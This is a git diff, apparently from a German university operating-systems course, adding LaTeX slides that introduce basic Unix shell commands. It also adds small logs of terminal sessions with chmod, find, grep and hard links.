+      Berkeley Software Distribution (BSD)
+    \item[1983]
+      GNU-Projekt
+    \item[1987]
+      Minix
+    \item[1991]
+      Linux
+    \item[1993]
+      FreeBSD, NetBSD
+    \item[1994]
+      OpenBSD
+    \item[2000]
+      Darwin (Mac OS X, BSD-basiert)
+    \item[2008]
+      Android (Linux-basiert)
+  \end{description}
+
+\end{frame}
+
+\begin{frame}[fragile]
+
+  \begin{minipage}[b]{6.5cm}
+    \showsectionnonumber
+    \vspace{-\medskipamount}
+    \showsubsectionnonumber
+
+    Unix und C: Einfachheit als Grundkonzept
+%    \vspace{-\bigskipamount}
+    \begin{itemize}
+      \item
+        Vermeiden von Ausnahmen
+      \item[\color{lightgray}$\bullet$]
+        \color{lightgray}Baukastensystem
+    \end{itemize}
+    \medskip
+  \end{minipage}\hspace*{0.5cm}%
+  \begin{minipage}[b]{5cm}
+    C: Hauptprogramm\\
+    = "`normale"' Funktion
+
+    \medskip
+
+    \begin{lstlisting}[gobble=6]
+      int main (int argc, char **argv)
+      {
+        printf ("Hello, world!\n");
+        return 0;
+      }
+    \end{lstlisting}
+    \vspace{-\bigskipamount}
+  \end{minipage}
+
+  \bigskip
+  \bigskip
+
+  Unix: übergeordnetes Verzeichnis = "`normales"' Verzeichnis
+
+  \medskip
+
+  \begin{lstlisting}[style=terminal]
+    cassini/home/peter/foo> ¡ls -la¿
+    insgesamt 24
+    drwxr-xr-x   2 peter peter  4096 Okt  6 13:30 .
+    drwxr-xr-x 172 peter peter 20480 Okt  6 13:30 ..
+    cassini/home/peter/foo> ¡cd ..¿
+    cassini/home/peter>
+  \end{lstlisting}
+
+\end{frame}
+
+\begin{frame}[fragile]
+
+  \begin{minipage}[b]{6.5cm}
+    \showsectionnonumber
+    \vspace{-\medskipamount}
+    \showsubsectionnonumber
+
+    Unix und C: Einfachheit als Grundkonzept
+%    \vspace{-\bigskipamount}
+    \begin{itemize}
+      \item
+        Vermeiden von Ausnahmen
+      \item
+        Baukastensystem
+    \end{itemize}
+  \end{minipage}\hspace*{0.3cm}%
+  \begin{minipage}[b]{6cm}
+    C: Bibliotheken
+    \begin{itemize}
+      \item
+        Grundfunktionen: \file{libc}
+      \item
+        3d-Grafik -- Kernfunktion: \file{libGL}
+      \item
+        3d-Grafik -- Utilities: \file{libGLU}
+      \item
+        3d-Grafik -- Utility Toolkit: \file{libglut}
+      \item
+        \dots
+    \end{itemize}
+    \vspace*{-0.5cm}
+  \end{minipage}
+
+  \bigskip
+  \bigskip
+
+  Unix: Programme arbeiten zusammen
+
+  \medskip
+
+  \begingroup\small
+
+  \begin{lstlisting}[style=terminal]
+    cassini/home/peter/bo> ¡find . -name "*klausur*.tex" \
+      | grep -v "fig" | less¿
+    ./2013ss/net/script/slides/net-probeklausur-20120712.tex
+    ./2013ss/net/20130924.0/net-klausur-20130924.tex
+    ./2011ws/rarch/20120322.0/rarch-klausur-20120322.tex
+    ...
+    ./2012ss/hs/20130318.0/hs-klausur-20130318.tex
+    ./2012ss/hs/20120715.0/hs-probeklausur-20120715.tex
+    ./2012ss/hs/20120720.0/hs-klausur-20120720.tex
+  \end{lstlisting}
+
+  \endgroup
+
+\end{frame}
+
+\subsectionnonumber{U.2\quad Die Kommandozeile: Grundlagen}
+
+\begin{frame}[fragile]
+
+  \showsubsectionnonumber
+
+  \begin{itemize}
+    \item
+      Programm aufrufen: Namen eingeben, z.\,B.: \lstinline[style=cmd]{ls}
+    \item
+      Optionen: \lstinline[style=cmd]{ls -l}
+    \item
+      Lange Optionen (GNU-Konvention): \lstinline[style=cmd]{ls --help}
+    \medskip
+    \item
+      Text schreiben: \lstinline[style=cmd]{echo "Hello, world!"}
+    \item
+      (String-)Variable setzen: \lstinline[style=cmd]{FOO=bar}
+    \item
+      Variable abrufen: \lstinline[style=cmd]{echo $FOO}
+  \end{itemize}
+
+  \pause
+  \begin{lstlisting}[style=terminal]
+    cassini/home/peter/bo> ¡FOO=ls¿
+    cassini/home/peter/bo> ¡echo $FOO¿
+    ls
+    cassini/home/peter/bo> ¡$FOO¿
+    2011ws  2012ws  2013ws  doc       misc  projekte
+    2012ss  2013ss  briefe  material  orga
+    cassini/home/peter/bo>
+  \end{lstlisting}
+
+\end{frame}
+
+\begin{frame}
+
+  \showsubsectionnonumber
+
+  \begin{itemize}
+    \item
+      Befehl zurückholen: Pfeiltasten $\uparrow$, $\downarrow$
+    \item
+      Befehl bearbeiten: Pfeiltasten $\leftarrow$, $\rightarrow$ usw.
+    \item
+      Befehl vervollständigen: TAB
+    \item
+      Befehl rückwärts suchen: Ctrl+R
+    \item
+      Bildschirm löschen: Ctrl+L
+    \item
+      Befehl abbrechen: Ctrl+C
+    \bigskip
+    \pause
+    \item
+      Hilfe-Option: \lstinline[style=cmd]{ls --help}
+    \item
+      Unix-Handbuch -- \emph{manual\/}: \lstinline[style=cmd]{man ls}\\
+      (Beenden mit \lstinline[style=cmd]{q})
+  \end{itemize}
+
+\end{frame}
+
+\begin{frame}
+
+  \showsubsectionnonumber
+
+  \begin{itemize}
+    \item
+      Verzeichnisse für Programme: \lstinline[style=cmd]{echo $PATH}
+    \item
+      Programm in explizitem Verzeichnis aufrufen: \lstinline[style=cmd]{/bin/ls -l}
+    \item
+      Programm im aktuellen Verzeichnis aufrufen: \lstinline[style=cmd]{./hello}
+    \bigskip
+
+    \addtolength{\leftskip}{1cm}
+    \item[MS-DOS:]
+      Ausführbare Programme werden gefunden,\\
+      wenn sie im \lstinline[style=terminal]{PATH} stehen\\
+      \emph{oder\/} sich im aktuellen Verzeichnis befinden.
+    \smallskip
+    \item[Unix:]
+      Ausführbare Programme werden gefunden,\\
+      wenn sie im \lstinline[style=terminal]{PATH} stehen.
+      
+      \smallskip
+      \textarrow\ Vermeiden von Ausnahmen
+
+      \pause
+      \smallskip
+      Das aktuelle Verzeichnis (\lstinline[style=terminal]{.})
+      \emph{kann\/} im \lstinline[style=terminal]{PATH} stehen,\\
+      muß dies aber nicht\only<2>{ --\\
+      und sollte es aus Sicherheitsgründen auch nicht}.
+
+  \end{itemize}
+
+\end{frame}
+
+\subsectionnonumber{U.3\quad Dateisysteme}
+
+\begin{frame}
+
+  \showsubsectionnonumber
+
+  \begin{itemize}
+    \item
+      Dateien listen: \lstinline[style=cmd]{ls}\\
+      langes Listenformat: \lstinline[style=cmd]{ls -l}\\
+      rückwärts nach Zeit sortiert: \lstinline[style=cmd]{ls -lrt}
+    \item
+      Datei ausgeben: \lstinline[style=cmd]{cat hello.c}
+    \item
+      Datei anzeigen: \lstinline[style=cmd]{less hello.c}
+  \end{itemize}
+
+\end{frame}
+
+\begin{frame}[fragile]
+
+  \showsubsectionnonumber
+
+  \begin{itemize}
+    \item
+      Arbeitsverzeichnis anzeigen: \lstinline[style=cmd]{pwd}\\
+    \item
+      Arbeitsverzeichnis wechseln: \lstinline[style=cmd]{cd script}\\
+      (\emph{kein\/} Programm, sondern Shell-Befehl)
+    \item
+      übergeordnetes Verzeichnis: \lstinline[style=cmd]{cd ..}
+    \item
+      eigenes \newterm{Home-\/}Verzeichnis: \lstinline[style=cmd]{cd}
+    \item
+      Wurzelverzeichnis: \lstinline[style=cmd]{cd /}
+    \item
+      wieder zurück: \lstinline[style=cmd]{cd -}
+  \end{itemize}
+
+  \pause
+  \begin{lstlisting}[style=terminal]
+    cassini/home/peter/bo/2013ss/net/script> ¡cd /usr/bin¿
+    cassini/usr/bin> ¡cd ../lib¿
+    cassini/usr/lib> ¡cd¿
+    cassini/home/peter>
+  \end{lstlisting}
+
+\end{frame}
+
+\begin{frame}[fragile]
+
+  \showsubsectionnonumber
+
+  \begin{itemize}
+    \item
+      Dateien kopieren (\emph{copy\/}): \lstinline[style=cmd]{cp}
+    \item
+      Dateien verschieben/umbenennen (\emph{move\/}): \lstinline[style=cmd]{mv}
+    \item
+      Dateien löschen (\emph{remove\/}): \lstinline[style=cmd]{rm}
+  \end{itemize}
+
+  \begin{lstlisting}[style=terminal,xleftmargin=-3pt]
+    cassini/home/peter> ¡cp -p foo/test.txt¿
+    cp: missing destination file operand after `foo/test.txt'
+    Try `cp --help' for more information.
+    cassini/home/peter> ¡cp -p foo/test.txt .¿
+    cassini/home/peter> ¡mv test.txt bla.txt¿
+    cassini/home/peter> ¡cat bla.txt¿
+    Dies ist ein Test.
+    cassini/home/peter> ¡rm bla.txt¿
+    cassini/home/peter>
+  \end{lstlisting}
+
+  \medskip
+
+  Aktuelles Verzeichnis: \lstinline[style=cmd]{.}
+
+\end{frame}
+
+\begin{frame}[fragile]
+
+  \showsubsectionnonumber
+
+  \begin{itemize}
+    \item
+      \lstinline[style=cmd]{grep}: Dateien durchsuchen
+  \end{itemize}
+  \begin{lstlisting}[style=terminal,xleftmargin=-3pt]
+    cassini/.../ainf/20131031.0> ¡grep printf *.c¿
+    philosophy.c:  printf ("The answer is %d.\n", answer ());
+  \end{lstlisting}
+
+\end{frame}
+
+\begin{frame}[fragile]
+
+  \showsubsectionnonumber
+
+  \begin{itemize}
+    \item
+      Datenträger in Verzeichnis \newterm{einhängen\/}: \lstinline[style=cmd]{mount}
+  \end{itemize}
+
+  \begin{lstlisting}[style=terminal]
+    cassini/home/peter> ¡ls /media/sd-card/¿
+    cassini/home/peter> ¡mount /media/sd-card¿
+    cassini/home/peter> ¡ls /media/sd-card/¿
+    DCIM  NIKON001.DSC
+    cassini/home/peter> ¡umount /media/sd-card¿
+    cassini/home/peter> ¡ls /media/sd-card/¿
+    cassini/home/peter>
+  \end{lstlisting}
+
+\end{frame}
+
+\begin{frame}[fragile]
+
+  \showsubsectionnonumber
+
+  \begin{itemize}
+    \item
+      \newterm{Zugriffsrechte}
+  \end{itemize}
+
+  \begingroup
+    \small
+    \begin{lstlisting}[style=terminal,gobble=6,xleftmargin=-3pt]
+      phoenix/home/peter/bo/2013ws/ainf/20131031.0> ¡ls -l¿
+      ...
+      -rw-r--r-- 1 peter peter    1539 Nov 29  2012 pruzzel-1.c
+    \end{lstlisting}
+  \endgroup
+  \begin{onlyenv}<2>
+    \begin{picture}(0,1)
+      \color{red}
+      \put(0.3,0){\vector(0,1){1.0}}
+      \put(0.3,0){\vector(2,1){2.1}}
+      \put(0,-0.1){\makebox(0,0)[tl]{Benutzer (u -- \emph{user\/}) darf lesen und schreiben}}
+    \end{picture}
+  \end{onlyenv}
+  \begin{onlyenv}<3>
+    \begin{picture}(0,1)
+      \color{red}
+      \put(0.77,0){\vector(0,1){1.0}}
+      \put(0.77,0){\vector(3,1){3.1}}
+      \put(0,-0.1){\makebox(0,0)[tl]{Gruppe (g -- \emph{group\/}) darf lesen}}
+    \end{picture}
+  \end{onlyenv}
+  \begin{onlyenv}<4>
+    \begin{picture}(0,1)
+      \color{red}
+      \put(1.37,0){\vector(0,1){1.0}}
+      \put(0,-0.1){\makebox(0,0)[tl]{alle anderen (o -- \emph{other\/}) dürfen lesen}}
+    \end{picture}
+  \end{onlyenv}
+
+  \medskip
+  \pause[5]
+  \begin{itemize}
+    \item
+      Zugriffsrechte ändern:\\
+      \lstinline[style=cmd]{chmod o-r pruzzel-1.c} -- Lesezugriff entziehen\\
+      \lstinline[style=cmd]{chmod g+w pruzzel-1.c} -- Schreibzugriff gewähren\\
+      \lstinline[style=cmd]{chmod 640 pruzzel-1.c} -- auf \lstinline[style=terminal]{-rw-r-----} setzen
+  \end{itemize}
+  \pause
+  \begin{picture}(0,0)
+    \color{red}
+    \put(6.275,0.5){\makebox(0,0)[tl]{%
+      \begin{math}%
+        \underbrace{\rule{0.7em}{0pt}}_{\textstyle 6}%
+        \underbrace{\rule{0.7em}{0pt}}_{\textstyle 4}%
+        \underbrace{\rule{0.7em}{0pt}}_{\textstyle 0}
+      \end{math}}}
+  \end{picture}
+
+\end{frame}
+
+\begin{frame}[fragile]
+
+  \showsubsectionnonumber
+
+  \begin{itemize}
+    \item
+      \newterm{ausführbare\/} Dateien
+  \end{itemize}
+
+  \begingroup
+    \small
+    \begin{lstlisting}[style=terminal,gobble=6,xleftmargin=-3pt]
+      cassini/home/peter/bo/2013ws/systech/20131008.0> ¡cat test¿
+      ls -l systech-20131008.*
+      cassini/home/peter/bo/2013ws/systech/20131008.0> ¡chmod +x test¿
+      cassini/home/peter/bo/2013ws/systech/20131008.0> ¡ls -l test¿
+      -rwxr-xr-x 1 peter peter   25 Okt 6 16:45 test
+      cassini/home/peter/bo/2013ws/systech/20131008.0> ¡./test¿
+      -rw-r--r-- 1 peter peter 4120 Okt 6 16:44 systech-20131008.aux
+      ...
+    \end{lstlisting}
+  \endgroup
+
+  \pause
+  \begin{itemize}
+    \item
+      ausführbare Textdateien: \newterm{Skripte}
+
+      \pause
+      \smallskip
+      hier: ausführbare Textdatei mit Shell-Befehlen\\
+      (ohne spezielle Kennung): Shell-Skript
+
+      \pause
+      \smallskip
+      Kennung: 1.\ Zeile enthält \lstinline[style=terminal]{#!} und den Interpreter,\\
+      z.\,B.\ \lstinline[style=terminal]{#!/bin/bash}\\
+  \end{itemize}
+
+\end{frame}
+
+\begin{frame}[fragile]
+
+  \showsubsectionnonumber
+
+  \begin{itemize}
+    \item
+      \newterm{Symbolische Verknüpfungen -- symbolic links}
+
+      \smallskip
+
+      Verweis auf die eigentliche Datei\\
+      \textarrow\ Wenn man die Datei löscht, zeigt der Link ins Leere.
+
+      \smallskip
+
+      Verknüpfung anlegen: \lstinline[style=cmd]{ln -s datei link}\\
+      (Richtung: wie bei \lstinline[style=cmd]{cp})
+
+      \smallskip
+
+      Beispiel: \lstinline[style=cmd]{ln -s opengel-magic-double.c opengl-magic.c}
+    \medskip
+    \item
+      \newterm{Harte Verknüpfungen -- hard links}
+
+      \smallskip
+      
+      Dieselben Daten auf dem Datenträger\\
+      sind unter mehreren Namen verfügbar.\\
+      \textarrow\ Wenn man einen löscht, sind die Daten noch da.
+
+      \smallskip
+
+      (aus Anwendersicht eher selten, daher hier nicht ausführlich)
+  \end{itemize}
+
+\end{frame}
+
+\begin{frame}[fragile]
+
+  \showsubsectionnonumber
+
+  \begin{itemize}
+    \item
+      \lstinline[style=cmd]{find}: Dateien anhand ihrer Eigenschaften suchen
+  \end{itemize}
+
+  \small
+  \begin{lstlisting}[style=terminal,xleftmargin=-7pt]
+    $ ¡find . -name "*orbit-x*"¿
+    ./20131031.0/orbit-x.c
+    ./20131031.0/orbit-x1.c
+    ./20131031.0/orbit-x
+    ./20131107.0/orbit-x.c
+    ./20131107.0/orbit-x1.c
+    ./20131107.0/orbit-x
+    $ ¡find . -name "*orbit-x*" -perm /u+x¿
+    ./20131031.0/orbit-x
+    ./20131107.0/orbit-x
+    $ ¡find . -name "*orbit-x*" -perm /u+x -exec ls -l {} \;¿
+    -rwxr-xr-x 1 peter peter 15831 Okt 31 13:19 ./20131031.0/orbit-x
+    -rwxr-xr-x 1 peter peter 15831 Okt 31 13:19 ./20131107.0/orbit-x
+  \end{lstlisting}
+
+\end{frame}
+
+\subsectionnonumber{U.4\quad Ein- und Ausgabeströme}
+
+\begin{frame}[fragile]
+
+  \showsubsectionnonumber
+
+  \begin{itemize}
+    \item
+      Standard-Ausgabe in Datei umleiten
+  \end{itemize}
+  \begin{lstlisting}[style=terminal]
+    $ ¡echo "Dies ist ein Test." > test.txt¿
+    $ ¡cat test.txt¿
+    Dies ist ein Test.
+  \end{lstlisting}
+
+  \pause
+  \smallskip
+
+  \begin{itemize}
+    \item
+      Standard-Ausgabe an Datei anhängen
+  \end{itemize}
+  \begin{lstlisting}[style=terminal]
+    $ ¡echo "Dies ist noch ein Test." >> test.txt¿
+    $ ¡cat test.txt¿
+    Dies ist ein Test.
+    Dies ist noch ein Test.
+  \end{lstlisting}
+
+\end{frame}
+
+\begin{frame}[fragile]
+
+  \showsubsectionnonumber
+
+  \begin{itemize}
+    \item
+      Fehler-Ausgabe in Datei umleiten
+  \end{itemize}
+  \begin{lstlisting}[style=terminal]
+    $ ¡cat gibtsnicht.txt > fehler.txt¿
+    cat: gibtsnicht.txt: No such file or directory
+    $ ¡cat fehler.txt¿
+    $ ¡cat gibtsnicht.txt 2> fehler.txt¿
+    $ ¡cat fehler.txt¿
+    cat: gibtsnicht.txt: No such file or directory
+  \end{lstlisting}
+
+\end{frame}
+
+\begin{frame}[fragile]
+
+  \showsubsectionnonumber
+
+  \begin{itemize}
+    \item
+      Standard-Eingabe aus Datei lesen
+  \end{itemize}
+  \begin{lstlisting}[style=terminal]
+    $ ¡bc¿
+    bc 1.06.95
+    Copyright [...] 2006 Free Software Foundation, Inc.
+    This is free software with ABSOLUTELY NO WARRANTY.
+    For details type `warranty'.
+    ¡2 + 2¿
+    4
+    $ ¡echo "2 + 2" > test.bc¿
+    $ ¡bc < test.bc¿
+    4
+  \end{lstlisting}
+
+\end{frame}
+
+\subsectionnonumber{U.5\quad Pipes}
+
+\begin{frame}[fragile]
+
+  \showsubsectionnonumber
+
+  Standard-Ausgabe von Programm A\\
+  wird zu Standard-Eingabe von Programm B
+
+  \smallskip
+
+  \begin{lstlisting}[style=terminal]
+    $ ¡echo "2 + 2" | bc¿
+    4
+  \end{lstlisting}
+
+  \smallskip
+
+  \textarrow\ sehr mächtiger "`Baukasten"'
+
+\end{frame}
+
+\begin{frame}[fragile]
+
+  \showsubsectionnonumber
+
+  \begin{itemize}
+    \item
+      \lstinline[style=cmd]{sed}: \emph{stream editor}\\
+      Suchen und Ersetzen (und noch viel mehr)
+  \end{itemize}
+  \begin{lstlisting}[style=terminal]
+    $ ¡echo "Schlimmer geht nimmer." | sed -e 's/nim/im/g'¿
+    Schlimmer geht immer.
+  \end{lstlisting}
+
+\end{frame}
+
+\begin{frame}[fragile]
+
+  \showsubsectionnonumber
+
+  \begin{itemize}
+    \item
+      \lstinline[style=cmd]{grep}: Standard-Eingabe durchsuchen
+  \end{itemize}
+  \begin{lstlisting}[style=terminal]
+    $ ¡ls | grep slides¿
+    pgslides.sty
+    $ ¡ls *.pdf | grep -v fig¿
+    logo-hochschule-bochum-cvh-text.pdf
+    logo-hochschule-bochum.pdf
+    NPN_transistor_basic_operation.pdf
+    rtech-20131002.pdf
+    $ ¡ls -l $(ls *.pdf | grep -v fig)¿
+    -rw-r--r-- 1 peter peter   14488 Sep  2 21:02 logo-hochschule-bochum-cvh-text.pdf
+    -rw-r--r-- 1 peter peter   31581 Dez 26  2011 logo-hochschule-bochum.pdf
+    -rw-r--r-- 1 peter peter    8538 Okt  2  2012 NPN_transistor_basic_operation.pdf
+    -rw-r--r-- 1 peter peter 6753149 Okt  1 22:59 rtech-20131002.pdf
+  \end{lstlisting}
+
+\end{frame}
+
+\subsectionnonumber{U.6\quad Verzweigungen und Schleifen}
+
+\begin{frame}[fragile]
+
+  \showsubsectionnonumber
+
+  \begin{lstlisting}[style=terminal]
+    $ ¡if grep Pipes test.txt; then echo "gefunden"; \
+      else echo "nicht gefunden"; fi¿
+    nicht gefunden
+    $ ¡for x in foo bar baz; do echo $x; done¿
+    foo
+    bar
+    baz
+  \end{lstlisting}
+
+\end{frame}
+
+\end{document}
diff --git a/20220314/yesvnc-wc-6.html b/20210409/yesvnc-wc-6.html
similarity index 100%
rename from 20220314/yesvnc-wc-6.html
rename to 20210409/yesvnc-wc-6.html
diff --git a/20210416/.test.txt b/20210416/.test.txt
new file mode 100644
index 0000000000000000000000000000000000000000..dd38ed5746e36cb495b0589c1aad5b9965213322
--- /dev/null
+++ b/20210416/.test.txt
@@ -0,0 +1 @@
+Punkt-Test
diff --git a/20210416/bs-20210416.pdf b/20210416/bs-20210416.pdf
new file mode 120000
index 0000000000000000000000000000000000000000..8c56acec4932b053b63529036c18b1dbb3135e59
--- /dev/null
+++ b/20210416/bs-20210416.pdf
@@ -0,0 +1 @@
+../20210409/bs-20210409.pdf
\ No newline at end of file
diff --git a/20210416/bs-20210416.tex b/20210416/bs-20210416.tex
new file mode 120000
index 0000000000000000000000000000000000000000..6b57f34c4e5e75807c4053795b915792fa52d043
--- /dev/null
+++ b/20210416/bs-20210416.tex
@@ -0,0 +1 @@
+../20210409/bs-20210409.tex
\ No newline at end of file
diff --git a/20210416/calculate b/20210416/calculate
new file mode 100755
index 0000000000000000000000000000000000000000..6c1b049e082bb2e273ce8564aa1855a4e3d22a1e
--- /dev/null
+++ b/20210416/calculate
@@ -0,0 +1,5 @@
+#!/usr/bin/bc -q
+
+2 ^ 50 / 10 / 1000 / 1000 / 1000000
+
+quit
diff --git a/20210416/cd.. b/20210416/cd..
new file mode 100644
index 0000000000000000000000000000000000000000..a78009bddcd58844651bae68a847faa7a88b16ff
--- /dev/null
+++ b/20210416/cd..
@@ -0,0 +1,3 @@
+#pwd
+cd ..
+#pwd
diff --git a/20210416/chmod-1.txt b/20210416/chmod-1.txt
new file mode 100644
index 0000000000000000000000000000000000000000..82cb694b3f2d06ea812ad0fb38c3bf7006320138
--- /dev/null
+++ b/20210416/chmod-1.txt
@@ -0,0 +1,11 @@
+-rwxr-xr-x 1 peter peter   16 Apr 16 14:20 cd..
+cassini/home/peter/bo/2021ss/bs/20210416> chmod 750 cd..
+cassini/home/peter/bo/2021ss/bs/20210416> ls -l cd..
+-rwxr-x--- 1 peter peter 16 Apr 16 14:20 cd..
+cassini/home/peter/bo/2021ss/bs/20210416> chmod 644 cd..
+cassini/home/peter/bo/2021ss/bs/20210416> ls -l cd..
+-rw-r--r-- 1 peter peter 16 Apr 16 14:20 cd..
+cassini/home/peter/bo/2021ss/bs/20210416> chmod 660 cd..
+cassini/home/peter/bo/2021ss/bs/20210416> ls -l cd..
+-rw-rw---- 1 peter peter 16 Apr 16 14:20 cd..
+cassini/home/peter/bo/2021ss/bs/20210416>
diff --git a/20210416/find-1.txt b/20210416/find-1.txt
new file mode 100644
index 0000000000000000000000000000000000000000..d25cf3ecb6f4e00db781582781fb1bde4c8e0337
--- /dev/null
+++ b/20210416/find-1.txt
@@ -0,0 +1,25 @@
+cassini/home/peter/bo/2021ss/bs/20210416> find . -name "*.txt"
+./shell-scripts-4.txt
+./shell-scripts-2.txt
+./test-3.txt
+./shell-scripts-3.txt
+./symlinks-3.txt
+./wildcards-1.txt
+./wildcards-3.txt
+./shell-scripts-5.txt
+./shell-scripts-6.txt
+./hardlinks-1.txt
+./.test.txt
+./test/hello.txt
+./chmod-1.txt
+./wildcards-2.txt
+./hardlinks-2.txt
+./shell-scripts-1.txt
+./symlinks-4.txt
+./mount-1.txt
+./test-1.txt
+./grep-3.txt
+./grep-1.txt
+./symlinks-1.txt
+./symlinks-2.txt
+./grep-2.txt
diff --git a/20210416/find-2.txt b/20210416/find-2.txt
new file mode 100644
index 0000000000000000000000000000000000000000..d7ada2377c15702784a99f4441e28d2f6f180a91
--- /dev/null
+++ b/20210416/find-2.txt
@@ -0,0 +1,3 @@
+cassini/home/peter/bo/2021ss/bs/20210416> find . -name *.txt
+find: paths must precede expression: `find-1.txt'
+find: possible unquoted pattern after predicate `-name'?
diff --git a/20210416/find-3.txt b/20210416/find-3.txt
new file mode 100644
index 0000000000000000000000000000000000000000..0f7d97e84cc857573d34ca0ce3ab56009ae806a9
--- /dev/null
+++ b/20210416/find-3.txt
@@ -0,0 +1,3 @@
+cassini/home/peter/bo/2021ss/bs/20210416> echo find . -name *.txt
+find . -name chmod-1.txt find-1.txt find-2.txt grep-1.txt grep-2.txt grep-3.txt hardlinks-1.txt hardlinks-2.txt mount-1.txt shell-scripts-1.txt shell-scripts-2.txt shell-scripts-3.txt shell-scripts-4.txt shell-scripts-5.txt shell-scripts-6.txt symlinks-1.txt symlinks-2.txt symlinks-3.txt symlinks-4.txt test-1.txt test-3.txt wildcards-1.txt wildcards-2.txt wildcards-3.txt
+cassini/home/peter/bo/2021ss/bs/20210416>
diff --git a/20210416/find-4.txt b/20210416/find-4.txt
new file mode 100644
index 0000000000000000000000000000000000000000..a37fc2419524f4210312f004311a4e408249f50a
--- /dev/null
+++ b/20210416/find-4.txt
@@ -0,0 +1,30 @@
+cassini/home/peter/bo/2021ss/bs/20210416> find . -name "*".txt
+./shell-scripts-4.txt
+./shell-scripts-2.txt
+./test-3.txt
+./shell-scripts-3.txt
+./symlinks-3.txt
+./wildcards-1.txt
+./wildcards-3.txt
+./shell-scripts-5.txt
+./shell-scripts-6.txt
+./hardlinks-1.txt
+./.test.txt
+./test/hello.txt
+./chmod-1.txt
+./wildcards-2.txt
+./find-1.txt
+./hardlinks-2.txt
+./shell-scripts-1.txt
+./symlinks-4.txt
+./mount-1.txt
+./test-1.txt
+./grep-3.txt
+./find-2.txt
+./grep-1.txt
+./symlinks-1.txt
+./find-3.txt
+./symlinks-2.txt
+./grep-2.txt
+cassini/home/peter/bo/2021ss/bs/20210416> echo find . -name "*".txt
+find . -name *.txt
diff --git a/20210416/grep-1.txt b/20210416/grep-1.txt
new file mode 100644
index 0000000000000000000000000000000000000000..22f5ddbcc91d31c3c94e5a56fe1b188b3416a47c
--- /dev/null
+++ b/20210416/grep-1.txt
@@ -0,0 +1,10 @@
+cassini/home/peter/bo/2021ss/bs/20210416> grep -r Hello *.*
+hello.c:  printf ("Hello, world!\n");
+unix-20210416.tex:        printf ("Hello, world!\n");
+unix-20210416.tex:      Text schreiben: \lstinline[style=cmd]{echo "Hello, world!"}
+cassini/home/peter/bo/2021ss/bs/20210416> grep -r Hello *
+hello.c:  printf ("Hello, world!\n");
+test/hello.txt:Hello, world!
+unix-20210416.tex:        printf ("Hello, world!\n");
+unix-20210416.tex:      Text schreiben: \lstinline[style=cmd]{echo "Hello, world!"}
+cassini/home/peter/bo/2021ss/bs/20210416>
diff --git a/20210416/grep-2.txt b/20210416/grep-2.txt
new file mode 100644
index 0000000000000000000000000000000000000000..289385dce7aed9ba4d32ef1388f5cc7e1b9a2cc5
--- /dev/null
+++ b/20210416/grep-2.txt
@@ -0,0 +1,30 @@
+cassini/home/peter/bo/2021ss/bs/20210416> grep -r Hello .*
+./hello.c:  printf ("Hello, world!\n");
+./test/hello.txt:Hello, world!
+./grep-1.txt:cassini/home/peter/bo/2021ss/bs/20210416> grep -r Hello *.*
+./grep-1.txt:hello.c:  printf ("Hello, world!\n");
+./grep-1.txt:unix-20210416.tex:        printf ("Hello, world!\n");
+./grep-1.txt:unix-20210416.tex:      Text schreiben: \lstinline[style=cmd]{echo "Hello, world!"}
+./grep-1.txt:cassini/home/peter/bo/2021ss/bs/20210416> grep -r Hello *
+./grep-1.txt:hello.c:  printf ("Hello, world!\n");
+./grep-1.txt:test/hello.txt:Hello, world!
+./grep-1.txt:unix-20210416.tex:        printf ("Hello, world!\n");
+./grep-1.txt:unix-20210416.tex:      Text schreiben: \lstinline[style=cmd]{echo "Hello, world!"}
+../20210416/hello.c:  printf ("Hello, world!\n");
+../20210416/test/hello.txt:Hello, world!
+../20210416/grep-1.txt:cassini/home/peter/bo/2021ss/bs/20210416> grep -r Hello *.*
+../20210416/grep-1.txt:hello.c:  printf ("Hello, world!\n");
+../20210416/grep-1.txt:unix-20210416.tex:        printf ("Hello, world!\n");
+../20210416/grep-1.txt:unix-20210416.tex:      Text schreiben: \lstinline[style=cmd]{echo "Hello, world!"}
+../20210416/grep-1.txt:cassini/home/peter/bo/2021ss/bs/20210416> grep -r Hello *
+../20210416/grep-1.txt:hello.c:  printf ("Hello, world!\n");
+../20210416/grep-1.txt:test/hello.txt:Hello, world!
+../20210416/grep-1.txt:unix-20210416.tex:        printf ("Hello, world!\n");
+../20210416/grep-1.txt:unix-20210416.tex:      Text schreiben: \lstinline[style=cmd]{echo "Hello, world!"}
+../20210409/unix-20210409.tex:        printf ("Hello, world!\n");
+../20210409/unix-20210409.tex:      Text schreiben: \lstinline[style=cmd]{echo "Hello, world!"}
+../20210409/hello.c:  printf ("Hello, world!\n");
+../20210409/shell-variables-2.txt:Hello, world!
+../20210409/shell-variables-2.txt:Hello, world!
+../20210409/shell-variables-2.txt:Hello, world!
+cassini/home/peter/bo/2021ss/bs/20210416>
diff --git a/20210416/grep-3.txt b/20210416/grep-3.txt
new file mode 100644
index 0000000000000000000000000000000000000000..ef1b9bcb456ddd649688ab35c9d0205f1e08b7e8
--- /dev/null
+++ b/20210416/grep-3.txt
@@ -0,0 +1,2 @@
+cassini/home/peter/bo/2021ss/bs/20210416> echo grep -r Hello .*
+grep -r Hello . .. .test.txt
diff --git a/20210416/hardlinks-1.txt b/20210416/hardlinks-1.txt
new file mode 100644
index 0000000000000000000000000000000000000000..8409d2346d3e36524d80858a3c3adfe73638b194
--- /dev/null
+++ b/20210416/hardlinks-1.txt
@@ -0,0 +1,22 @@
+cassini/home/peter/bo/2021ss/bs/20210416> ls -l test-*.txt
+-rw-r--r-- 1 peter peter  7 Apr 16 12:30 test-2.txt
+lrwxrwxrwx 1 peter peter 10 Apr 16 14:37 test-3.txt -> test-1.txt
+cassini/home/peter/bo/2021ss/bs/20210416> ln test-2.txt test-1.txt
+cassini/home/peter/bo/2021ss/bs/20210416> ls -l test-*.txt
+-rw-r--r-- 2 peter peter  7 Apr 16 12:30 test-1.txt
+-rw-r--r-- 2 peter peter  7 Apr 16 12:30 test-2.txt
+lrwxrwxrwx 1 peter peter 10 Apr 16 14:37 test-3.txt -> test-1.txt
+cassini/home/peter/bo/2021ss/bs/20210416> cat test-1.txt
+Test 2
+cassini/home/peter/bo/2021ss/bs/20210416> cat test-2.txt
+Test 2
+cassini/home/peter/bo/2021ss/bs/20210416> echo "Test 1" > test-1.txt
+cassini/home/peter/bo/2021ss/bs/20210416> cat test-1.txt
+Test 1
+cassini/home/peter/bo/2021ss/bs/20210416> cat test-2.txt
+Test 1
+cassini/home/peter/bo/2021ss/bs/20210416> ls -l test-*.txt
+-rw-r--r-- 2 peter peter  7 Apr 16 14:47 test-1.txt
+-rw-r--r-- 2 peter peter  7 Apr 16 14:47 test-2.txt
